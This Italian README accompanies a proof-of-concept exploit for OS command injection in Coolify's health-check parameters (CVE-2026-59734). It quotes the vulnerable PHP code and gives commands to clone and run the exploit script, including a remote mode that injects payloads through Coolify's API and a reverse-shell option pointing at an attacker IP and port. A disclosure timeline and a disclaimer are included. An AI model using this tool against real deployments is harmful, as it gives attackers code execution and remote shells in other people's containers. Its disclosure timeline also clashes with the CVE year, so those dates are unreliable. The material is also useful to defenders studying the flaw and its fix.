
Iniezione di comandi del sistema operativo in Controllo di integrità → Esecuzione di codice in remoto
Exploit Proof-of-Concept per l'iniezione di comandi OS nella configurazione di health check di Coolify.
Qualsiasi utente autenticato poteva eseguire comandi arbitrari all'interno dei container distribuiti.
Coolify è una popolare piattaforma di deployment open-source self-hosted (30K+ stelle su GitHub) — un'alternativa gratuita a Heroku, Vercel e Netlify.
Una vulnerabilità critica di Iniezione di Comandi OS è stata scoperta nella configurazione di health check di Coolify. I parametri health_check_host, health_check_method e health_check_path vengono interpolati direttamente in comandi shell senza alcuna sanificazione, consentendo a qualsiasi utente autenticato di eseguire comandi arbitrari all'interno dei container di deployment.
┌──────────────────┬──────────────────────────────────────┐
│ ID CVE │ CVE-2026-59734 │
│ Tipo │ Iniezione di Comandi OS (CWE-78) │
│ Gravità │ ALTA — CVSS 8.8 │
│ Vettore d'Attacco│ Rete (Autenticato) │
│ Versione Affetta │ Coolify <= v4.0.0-beta.460 │
│ Corretto in │ Coolify >= v4.0.0-beta.469 │
│ Commit di Corr. │ 23f9156c7 │
│ Segnalatore │ CyberTechAjju │
└──────────────────┴──────────────────────────────────────┘
// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()
// ⚠️ User input directly in shell command — NO escapeshellarg()!
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
Questo script PoC convalida e sfrutta CVE-2026-59734 con due modalità:
| Modalità | Descrizione | Rischio |
|---|---|---|
--local | Simula il pattern di codice vulnerabile offline. Nessuna richiesta di rete. Testa tutti e 3 i parametri iniettabili + verifica la correzione. | ✅ Sicuro |
--remote | Sfrutta un'istanza Coolify reale tramite API. Inietta payload nella configurazione di health check e avvia il deployment. | ⚠️ Richiede autenticazione |
host, method, path + conferma che la correzione con escapeshellarg() funzioni--lhost / --lportgit clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh
# Esegui la convalida locale sicura
./coolify_healthcheck_rce_poc.sh --local
Output Atteso:
═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══
┌─ Test 1: health_check_host injection
│ ✅ VULNERABLE — Injected command executed successfully
┌─ Test 2: health_check_method injection
│ ✅ VULNERABLE — Method parameter also injectable
┌─ Test 3: health_check_path injection
│ ✅ VULNERABLE — Path parameter also injectable
┌─ Test 4: Verify that escapeshellarg() fixes the issue
│ ✅ SAFE — Sanitized input prevents injection
# PoC base — scrive un file di prova all'interno del container
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID
# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--lhost YOUR_IP \
--lport 4444
# Con pulizia automatica (ripristina la configurazione originale dopo lo sfruttamento)
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--cleanup
Utilizzo:
Convalida Locale (sicura, offline):
./coolify_healthcheck_rce_poc.sh --local
Exploit Remoto (richiede autenticazione):
./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPZIONI]
Opzioni:
--url URL dell'istanza Coolify (es. https://coolify.example.com)
--token Token Bearer API
--uuid UUID dell'applicazione target
--payload Payload di iniezione personalizzato
--lhost IP dell'attaccante per reverse shell
--lport Porta dell'attaccante per reverse shell (default: 4444)
--cleanup Ripristina la configurazione originale dopo lo sfruttamento
Token API:
UUID App:
curl -s https://YOUR-COOLIFY/api/v1/applications \
-H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'
Ho scritto un articolo dettagliato che spiega l'intera scoperta, lo sfruttamento e le lezioni apprese:
Guarda la dimostrazione completa dello sfruttamento su YouTube:
| Data | Evento |
|---|---|
| 6 Gen 2025 | 🔍 Scoperta e segnalata tramite GitHub Security Advisory |
| 16 Gen 2025 | ✅ Report accettato dal maintainer di Coolify |
| 24 Feb 2025 | 🔬 Indagine confermata |
| 18 Mar 2025 | 🔧 Fix committato (23f9156c7) |
| 12 Apr 2025 | 📦 Fix rilasciato in v4.0.0-beta.469 |
| Lug 2025 | 🏷️ CVE-2026-59734 assegnato e advisory pubblicato |
Questo strumento è fornito SOLO A SCOPI EDUCATIVI E DI TEST DI SICUREZZA AUTORIZZATI.
Questo PoC è destinato a ricercatori di sicurezza e bug bounty hunter per testare sistemi per i quali hanno un permesso esplicito e documentato di audit. L'uso non autorizzato contro sistemi che non possiedi è strettamente proibito e potrebbe violare leggi locali, statali e federali.
L'autore (CyberTechAjju) non si assume alcuna responsabilità e non è responsabile per eventuali usi impropri o danni causati da questo strumento.
| CVE | Target | Tipo | Gravità |
|---|---|---|---|
| CVE-2026-45156 | Nextcloud user_oidc | Bypass della Firma JWT | 🔴 Critico (9.8) |
| CVE-2026-59734 | Coolify | Iniezione di Comandi OS | 🟠 Alto (8.8) |
"Hanno dimenticato di sanitizzare. Io non ho dimenticato di segnalare."
🇮🇳 Hack the planet. 🌎💻